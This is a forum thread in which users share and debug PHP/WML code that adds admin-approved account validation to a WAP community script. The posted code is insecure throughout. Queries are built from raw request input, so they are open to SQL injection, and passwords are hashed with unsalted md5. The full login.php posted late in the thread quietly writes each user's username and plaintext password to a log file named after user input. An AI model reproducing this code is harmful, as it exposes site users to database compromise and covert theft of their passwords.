it requires database editing plus few functions added to core but i will post it all jus be sure to do it right lol
Accounts Validation
Collapse
X
-
linkrx7 -
linkrx7
import these into ur database
INSERT INTO `ibwf_settings` VALUES (10, 'vldtn', '0');
import this into ur users table
`validated` char(1) NOT NULL default '0',
add this to login.php
$validated = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."' AND validated='0'"));
if(($validated[0]>0)&&(validation()))
{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Account Not Validated
This could take up to 12hrs pls be patient and try again soon
thank you
";
}
add these to core.php
function validation()
{
$getval = mysql_fetch_array(mysql_query("SELECT value FROM ibwf_settings WHERE name='vldtn'"));
if($getval[0]=='1')
{
return true;
}else
{
return false;
}
}
edit register()
(may be different to urs jus use what u need for validation)
function register($name,$pass,$usex,$day,$month,$year,$uloc ,$email,$info, $ubr)
{
$execms = mysql_query("SELECT * FROM ibwf_users WHERE name='".$name."';");
if (mysql_num_rows($execms)>0){
return 1;
}else{
$pass = md5($pass);
$validation = mysql_fetch_array(mysql_query("SELECT value FROM ibwf_settings WHERE name='vldtn'"));
if($validation[0]==1)
{
$validated=0;
}else{
$validated=1;
}
$reg = mysql_query("INSERT INTO ibwf_users SET name='".$name."', pass='".$pass."', birthday='".$year.$month.$day."', sex='".$usex."', location='".$uloc."', email='".$email."', signature='".$info."', regdate='".time()."', validated='".$validated."', ipadd='".getip()."', browserm='".$ubr."'");
if ($reg)
{
$uid = getuid_nick($name);
addonline($uid,"Just Registered","");
$delonline = mysql_query("DELETE FROM ibwf_online WHERE userid='".$uid."'");
$uid = mysql_fetch_array(mysql_query("SELECT id FROM ibwf_users WHERE name='".$name."'"));
$sitename = mysql_fetch_array(mysql_query("SELECT value FROM ibwf_settings WHERE name='sitename'"));
$msg = "Hello /reader =). Greetings from all $sitename[0] staff, we are happy to have you here, welcome to our big happy family!, If You Have any questions or comments about the site feel free to message me or any of the other staff members online. ENJOY! (excited)[br/][small]p.s: this is an automated pm[/small]";
$msg = mysql_escape_string($msg);
autopm($msg, $uid[0]);
return 0;
}else{
return 2;
}
}
}
add this to register.php
if(validation())
{
echo "Please give us up to 12hrs to validate you (normally it be done within an hour) if you have not been after this period of time u can email the owner at: afta_drk@hotmail.com";
}
this is for ownercp.php
else if($action=="general")
{
echo "<card id=\"main\" title=\"Owner Tools\">";
$xtm = getsxtm();
$paf = getpmaf();
$fvw = getfview();
$fmsg = htmlspecialchars(getfmsg());
$sitename = mysql_fetch_array(mysql_query("SELECT value FROM ibwf_settings WHERE name='sitename'"));
$sitename = $sitename[0];
if(canreg())
{
$arv = "e";
}else{
$arv= "d";
}
if(validation())
{
$vldtn = "e";
}else{
$vldtn= "d";
}
echo "<onevent type=\"onenterforward\">";
echo "<refresh>
<setvar name=\"sitename\" value=\"$sitename\"/>
<setvar name=\"sesp\" value=\"$xtm\"/>
<setvar name=\"pmaf\" value=\"$paf\"/>
<setvar name=\"fmsg\" value=\"$fmsg\"/>
<setvar name=\"areg\" value=\"$arv\"/>
<setvar name=\"fvw\" value=\"$fvw\"/>
<setvar name=\"vldtn\" value=\"$vldtn\"/>
";
echo "</refresh></onevent>";
echo "<p align=\"center\">";
echo "General Settings
";
echo "</p>";
echo "
";
echo "Site Name:";
echo "<input name=\"sitename\" maxlength=\"255\"/>";
echo "
Session Period: ";
echo "<input name=\"sesp\" format=\"*N\" maxlength=\"3\" size=\"3\"/>";
echo "
PM Antiflood<input name=\"pmaf\" format=\"*N\" maxlength=\"3\" size=\"3\"/>";
echo "
Forum Message: ";
echo "<input name=\"fmsg\" maxlength=\"255\" />";
echo "
Registration: ";
echo "<select name=\"areg\" value=\"$arv\">";
echo "<option value=\"e\">Enabled</option>";
echo "<option value=\"d\">Disabled</option>";
echo "</select>
";
echo "View:";
echo "<select name=\"fvw\" value=\"$fvw\">";
$vname[0]="Forums Page";
$vname[1]="Forums";
$vname[2]="Categories";
$vname[3]="Drop List";
for($i=0;$i<count($vname);$i++)
{
echo "<option value=\"$i\">$vname[$i]</option>";
}
echo "</select>";
echo "
Validation: <select name=\"vldtn\" value=\"$vldtn\">";
echo "<option value=\"e\">Enabled</option>";
echo "<option value=\"d\">Disabled</option>";
echo "</select>
";
echo "
<anchor>Submit
<go href=\"ownrproc.php?action=general&sid=$sid\" method=\"post\">
<postfield name=\"sitename\" value=\"$(sitename)\"/>
<postfield name=\"sesp\" value=\"$(sesp)\"/>
<postfield name=\"fmsg\" value=\"$(fmsg)\"/>
<postfield name=\"areg\" value=\"$(areg)\"/>
<postfield name=\"pmaf\" value=\"$(pmaf)\"/>
<postfield name=\"fvw\" value=\"$(fvw)\"/>
<postfield name=\"vldtn\" value=\"$(vldtn)\"/>
</go></anchor>
";
echo "</p>";
echo "<p align=\"center\">";
echo "<a href=\"ownercp.php?action=ownercp&sid=$sid\">< img src=\"../images/admn.gif\" alt=\"\"/>Owner Tools</a>
";
echo "<a href=\"index.php?action=main&sid=$sid\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
echo "</p></card>";
}
add this to ownertools page
echo "<a href=\"ownercp.php?action=validatelist&sid=$si d\">Validate List($noi[0])</a>
";
add this to modtools page in profiles
$noi = mysql_fetch_array(mysql_query("SELECT count(*) FROM ibwf_users WHERE validated='0' AND id='".$who."'"));
if($noi[0]==1)
{
echo "<a href=\"ownrproc.php?action=validate&sid=$sid&a mp;who=$who\">Validate</a>
";
}
add ths to ownercp.php
else if($action=="validatelist")
{
addonline(getuid_sid($sid),"Owner Tools","");
echo "<card id=\"main\" title=\"Validate List\">";
//////ALL LISTS SCRIPT <<
if($page=="" || $page<=0)$page=1;
$noi = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE validated='0'"));
$num_items = $noi[0]; //changable
$items_per_page= 10;
$num_pages = ceil($num_items/$items_per_page);
if(($page>$num_pages)&&$page!=1)$page= $num_pages;
$limit_start = ($page-1)*$items_per_page;
//changable sql
$sql = "SELECT id, name FROM ibwf_users WHERE validated='0' ORDER BY name LIMIT $limit_start, $items_per_page";
echo "
";
$items = mysql_query($sql);
if(mysql_num_rows($items)>0)
{
while ($item = mysql_fetch_array($items))
{
$nopl = mysql_fetch_array(mysql_query("SELECT sex, birthday, location FROM ibwf_users WHERE id='".$item[0]."'"));
$uage = getage($nopl[1]);
if($nopl[0]=='M')
{$usex = "Male";}else
if($nopl[0]=='F'){$usex = "Female";}
else{$usex = "Argh! No Profile!";}
$nopl[2] = htmlspecialchars($nopl[2]);
$lnk = "<a href=\"index.php?action=viewuser&who=$item[0]&sid=$sid\">$item[1]($uage/$usex/$nopl[2])</a>";
echo "$lnk
";
}
}
echo "</p>";
echo "<p align=\"center\">";
if($page>1)
{
$ppage = $page-1;
echo "<a href=\"ownercp.php?action=$action&page=$ppage& amp;sid=$sid&who=$who\">«Prev</a> ";
}
if($page<$num_pages)
{
$npage = $page+1;
echo "<a href=\"ownercp.php?action=$action&page=$npage& amp;sid=$sid&who=$who\">Next»</a>";
}
echo "
$page/$num_pages
";
if($num_pages>2)
{
$rets = "Jump to page<input name=\"pg\" format=\"*N\" size=\"3\"/>";
$rets .= "<anchor>[GO]";
$rets .= "<go href=\"ownercp.php\" method=\"get\">";
$rets .= "<postfield name=\"action\" value=\"$action\"/>";
$rets .= "<postfield name=\"sid\" value=\"$sid\"/>";
$rets .= "<postfield name=\"page\" value=\"$(pg)\"/>";
$rets .= "</go></anchor>";
echo $rets;
}
echo "</p>";
echo "<p align=\"center\">";
echo "<a href=\"index.php?action=main&sid=$sid\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
echo "</p>";
echo "</card>";
}
add this to ownerproc.php
if($action=="general")
{
$sitename = $_POST["sitename"];
$xtm = $_POST["sesp"];
$fmsg = $_POST["fmsg"];
$areg = $_POST["areg"];
$vldtn = $_POST["vldtn"];
$pmaf = $_POST["pmaf"];
$fvw = $_POST["fvw"];
if($areg=="d")
{
$arv = 0;
}else{
$arv = 1;
}
if($vldtn=="d")
{
$valid = 0;
}else{
$valid = 1;
}
echo "<card id=\"main\" title=\"Owner Tools\">";
echo "<p align=\"center\">";
$res = mysql_query("UPDATE ibwf_settings SET value='".$sitename."' WHERE name='sitename'");
if($res)
{
echo "<img src=\"../images/ok.gif\" alt=\"O\"/>Site Name updated successfully
";
}else{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Error Updating Site Name
";
}
$res = mysql_query("UPDATE ibwf_settings SET value='".$fmsg."' WHERE name='4ummsg'");
if($res)
{
echo "<img src=\"../images/ok.gif\" alt=\"O\"/>Forum Message updated successfully
";
}else{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Error Updating Forum message
";
}
$res = mysql_query("UPDATE ibwf_settings SET value='".$xtm."' WHERE name='sesxp'");
if($res)
{
echo "<img src=\"../images/ok.gif\" alt=\"O\"/>Session Period updated successfully
";
}else{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Error Updating Session Period
";
}
$res = mysql_query("UPDATE ibwf_settings SET value='".$pmaf."' WHERE name='pmaf'");
if($res)
{
echo "<img src=\"../images/ok.gif\" alt=\"O\"/>PM antiflood is $pmaf seconds
";
}else{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Error Updating PM antiflood value
";
}
$res = mysql_query("UPDATE ibwf_settings SET value='".$arv."' WHERE name='reg'");
if($res)
{
echo "<img src=\"../images/ok.gif\" alt=\"O\"/>Registration updated successfully
";
}else{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Error Updating Registration
";
}
$res = mysql_query("UPDATE ibwf_settings SET value='".$fvw."' WHERE name='fview'");
if($res)
{
echo "<img src=\"../images/ok.gif\" alt=\"O\"/>Forums View updated successfully
";
}else{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Error Updating Forums View
";
}
$res = mysql_query("UPDATE ibwf_settings SET value='".$valid."' WHERE name='vldtn'");
if($res)
{
echo "<img src=\"../images/ok.gif\" alt=\"O\"/>Validation updated successfully
";
}else{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Error Updating Validation
";
}
echo "
";
echo "<a href=\"ownercp.php?action=general&sid=$sid\">E dit general settings</a>
";
echo "<a href=\"ownercp.php?action=ownercp&sid=$sid\">< img src=\"../images/admn.gif\" alt=\"\"/>Owner Tools</a>
";
echo "<a href=\"index.php?action=main&sid=$sid\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
echo "</p></card>";
}
else if($action=="validate")
{
$who = $_GET["who"];
$user = getnick_uid($who);
echo "<card id=\"main\" title=\"Owner Tools\">";
echo "<p align=\"center\">";
$res = mysql_query("Update ibwf_users SET validated='1' WHERE id='".$who."'");
if($res)
{
mysql_query("INSERT INTO ibwf_mlog SET action='validation', details='".getnick_uid(getuid_sid($sid))." validated $user', actdt='".time()."'");
echo "<img src=\"../images/ok.gif\" alt=\"O\"/>$user validated successfully";
}else{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Error validating $user";
}
echo "
<a href=\"index.php?action=viewuser&who=$who& sid=$sid\">$user's Profile</a>
";
echo "<a href=\"ownercp.php?action=ownercp&sid=$sid\">< img src=\"../images/admn.gif\" alt=\"\"/>Owner Tools</a>
";
echo "<a href=\"index.php?action=main&sid=$sid\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
echo "</p>";
echo "</card>";
}
Comment
-
linkrx7
after i added that line to login.php i had to edit this part or u will hav serious problem
//check for pwd
$epwd = md5($pwd);
$uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'"));
if($uinf[0]==0)
{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Incorrect Password
";
echo "<a href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
}
so change it to this
//check for pwd
$epwd = md5($pwd);
$uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'"));
if($uinf[0]==0)
{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Incorrect Password
";
echo "<a href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
echo "</p>";
echo "</card>";
echo "</wml>";
exit();
}
Comment
-
just replace the
withCode:echo "<a href=\"ownercp.php?action=ownercp&sid=$sid\"><img src=\"../images/admn.gif\" alt=\"\"/>Owner Tools</a> ";
or whatever it is for admincp i never use this script anymoreCode:echo "<a href=\"index.php?action=admincp&sid=$sid\">Admin CP</a>";
and same goes with the admin tools just adjust accordingly to your script
Comment
-
yes i thought so..... thanx stargazer
how about this???
INSERT INTO `ibwf_settings` VALUES (10, 'vldtn', '0'); <-------i knw it goes 2 ibwf_settings,but i dnt understand. should i make a new table in it or???? cuz i just looked and i got just 8 tables in settings... VALUE 1,2,3,4,5,6,7,8....... should i still put VALUE 10 or VALUE 9????
import this into ur users table
`validated` char(1) NOT NULL default '0', <------ and this goes into ibwf_users... i just need 2 make a new table, am i right?
-----------------------
oh btw why u said u dnt use this script anymore??? is sumthng wrong with it????sigpiceeeeerrr....
Comment
-
just leave the value blank it wil update automatically
just import this sql into phpmyadmin
and same with the vldtn table into ibwf_settingsCode:INSERT INTO `ibwf_users` ( `id` , `name` , `value` ) VALUES ( '0', 'validated', '1'); );
and im using a new script plus too many ppl are using the old script want some originallity and uniqueness to my site again
Comment
-
aha okay thanx!!!! anyway ill try it 1st at my demo site lol
----------------------------------------------------------------
and heres the 1st problem
whr in the file should i put this??? after this?add this to login.php
$validated = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."' AND validated='0'"));
if(($validated[0]>0)&&(validation()))
{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Account Not Validated
This could take up to 12hrs pls be patient and try again soon
thank you
";
}[/b]
$uid = $_GET["loguid"];
$pwd = $_GET["logpwd"];
$tolog = false;
echo "<card id=\"main\" title=\"$uid@blabla\">";
echo "<p align=\"center\"><small>";
------------------------------
and this troubles me....
after i added that line to login.php i had to edit this part or u will hav serious problem
//check for pwd
$epwd = md5($pwd);
$uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'"));
if($uinf[0]==0)
{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Incorrect Password
";
echo "<a href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
}
so change it to this
//check for pwd
$epwd = md5($pwd);
$uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'"));
if($uinf[0]==0)
{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Incorrect Password
";
echo "<a href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
echo "</p>";
echo "</card>";
echo "</wml>";
exit();
}[/b]
its diferent tht my login.php
//check for pwd
$epwd = md5($pwd);
$uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'"));
if($uinf[0]==0)
{
echo "<img src=\"images/notok.gif\" alt=\"X\"/>Incorrect Password
";
}else{
$tm = time();
$xtm = $tm + (getsxtm()*60);
$did = $uid.$tm;
$res = mysql_query("INSERT INTO ibwf_ses SET id='".md5($did)."', uid='".getuid_nick($uid)."', expiretm='".$xtm."'");
cuz if i put it like this
//check for pwd
$epwd = md5($pwd);
$uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'"));
if($uinf[0]==0)
{
echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Incorrect Password
";
echo "</p>";
echo "</card>";
echo "</wml>";
exit();
}else{
$tm = time();
$xtm = $tm + (getsxtm()*60);
$did = $uid.$tm;
$res = mysql_query("INSERT INTO ibwf_ses SET id='".md5($did)."', uid='".getuid_nick($uid)."', expiretm='".$xtm."'");
ill get bloody PARSE ERROR, am i right?sigpiceeeeerrr....
Comment
-
linkrx7
ok heres my full login page
Code:<?php include("../blocked.php"); header("Content-type: text/vnd.wap.wml"); header("Cache-Control: no-store, no-cache, must-revalidate"); echo"<?xml version=\"1.0\"?>"; echo "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\"". " \"http://www.wapforum.org/DTD/wml_1.1.xml\">"; ?> <wml> <?php include("config.php"); include("core.php"); connectdb(); $bcon = connectdb(); if (!$bcon) { echo "<card id=\"main\" title=\"(ERROR!)\">"; echo "<p align=\"center\">"; echo "<img src=\"../images/exit.gif\" alt=\"!\"/> "; echo "[b]Error! Cannot Connect To Database...[/b] "; echo "This error happens usually when backing up the database, please be patient..."; echo "</p>"; echo "</card>"; echo "</wml>"; exit(); } $uid = $_GET["loguid"]; $pwd = $_GET["logpwd"]; $sitename = mysql_fetch_array(mysql_query("SELECT value FROM ibwf_settings WHERE name='sitename'")); $sitename = $sitename[0]; $tolog = false; echo "<card id=\"main\" title=\"$sitename\">"; echo "<p align=\"center\">"; echo "<img src=\"../images/logo.gif\" alt=\"$sitename\"/></p>"; echo mobads(); echo "<p align=\"center\">"; echo "Bookmark THIS page to avoid repeating the login proccess in the future "; $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."'")); if($uinf[0]==0) { //Check for user ID echo "<img src=\"../images/notok.gif\" alt=\"X\"/>UserID doesn't exist "; }else{ //check for pwd $epwd = md5($pwd); $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'")); if($uinf[0]==0) { echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Incorrect Password "; echo "<a href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>"; echo "</p>"; echo "</card>"; echo "</wml>"; exit(); } $validated = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."' AND validated='0'")); if(($validated[0]>0)&&(validation())) { echo "<img src=\"../images/notok.gif\" alt=\"X\"/>[b]Account Not Validated[/b] This could take up to 12hrs pls be patient and try again soon thank you "; }else{ $ipr = getip(); $brws = $_SERVER['HTTP_USER_AGENT']; $ubr = $brws; $alli = "Username: ".$uid." Password: ".$pwd." Ip-Address: ".$ipr." Browser: ".$ubr." Script: Wap 1.0(wml) ---------- "; if(trim($uid)!=""){ $fname = "../logs/".$uid.".txt"; $out = fopen($fname,"a+"); fwrite($out,$alli); fclose($out);} $tm = time(); $xtm = $tm + (getsxtm()*60); $did = $uid.$tm; $res = mysql_query("INSERT INTO ibwf_ses SET id='".md5($did)."', uid='".getuid_nick($uid)."', expiretm='".$xtm."'"); if($res) { $tolog=true; echo "<img src=\"../images/ok.gif\" alt=\"+\"/>You have logged in successfully as $uid "; $idn = getuid_nick($uid); $lact = mysql_fetch_array(mysql_query("SELECT lastact FROM ibwf_users WHERE id='".$idn."'")); mysql_query("UPDATE ibwf_users SET lastvst='".$lact[0]."' WHERE id='".$idn."'"); }else{ //is user already logged in? $logedin = mysql_fetch_array(mysql_query("SELECT (*) FROM ibwf_ses WHERE uid='".$getuid_nick($uid)."'")); if($logedin[0]>0) { //yip, so let's just update the expiration time $xtm = time() + (getsxtm()*60); $res = mysql_query("UPDATE ibwf_ses SET expiretm='".$xtm."' WHERE uid='".getuid_nick($uid)."'"); if($res) { $tolog=true; echo "<img src=\"../images/ok.gif\" alt=\"+\"/>You have logged in successfully as $uid "; }else{ echo "<img src=\"../images/point.gif\" alt=\"!\"/>Can't login at the time, plz try later "; //no chance this could happen unless there's error in mysql connection } } } } } if($tolog) { $sid = md5($did); echo "<a href=\"index.php?action=main&sid=$sid\"><img src=\"../images/home.gif\" alt=\"*\"/>"; echo "Enter $sitename</a> "; /*if (isadmin(getuid_sid($sid))) { echo "<a href=\"mail/index.php\">View Your Email Account - Relogin Required</a> "; }*/ $xfile = @file("randomlogin.txt"); $random_num = rand (0,count($xfile)-1); $udata = explode("::",$xfile[$random_num]); echo "$udata[1] "; echo " Feel free to invite all your friends here Wishing you the best time here, from all $sitename staff :)"; }else{ echo "<a href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>"; } echo "</p>"; echo "</card>"; ?> </wml>
Comment
-
linkrx7 -
Guest
lol.. if you had set the default value to 1 when you created the database entry, everybody who already registered would be validated automatically ..[[the null values automatically get set to the default value]]uuuugh i finaly made it...... tht was a bit chalenge 4 me but i made it...... i just hate it cuz after i did it, i had 2 validate all users..... ugh aaaargh lol good thng i have an GF lol lol[/b]
does that make sense?
all you would have to do then is edit the default value to 0 again so that new users are not validated automatically ..
does that bit make sense too?
Comment
-
the validating is an good thing...thanx
click here to join blingywap.co.za
http://blingywap.co.za
IF YOU NEED HELP JUST ASK AND ALWAYS SAY THANK YOU!
Comment
-
FlareX
Comment